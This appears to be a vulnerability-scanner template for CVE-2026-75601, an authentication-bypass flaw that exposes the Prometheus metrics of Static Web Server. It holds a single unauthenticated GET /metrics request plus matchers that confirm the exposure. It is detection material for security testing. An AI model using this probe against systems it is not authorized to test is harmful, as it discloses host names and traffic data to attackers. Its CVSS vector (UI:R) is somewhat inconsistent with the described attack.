id: CVE-2026-75601

info:
  name: "Static Web Server (SWS) - Unauthenticated Metrics Disclosure"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Static Web Server (SWS) through 2.43.0, when both the basic-auth and metrics features
    are enabled, processes the /metrics endpoint before the basic-auth check in
    src/handler.rs. An unauthenticated remote attacker can retrieve the Prometheus metrics,
    disclosing virtual host names, request volumes, error rates, latency distributions and
    active connection counts. Fixed in 2.44.0, which enforces authentication first.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-75601&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=static-web-server&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2026-75601
    cwe-id: CWE-306
  metadata:
    verified: false
  tags: cve,cve2026,static-web-server,sws,exposure,auth-bypass
http:
  - raw:
      - |
        GET /metrics HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "sws_http_", "# HELP")'
          - 'contains(content_type, "text/plain")'
        condition: and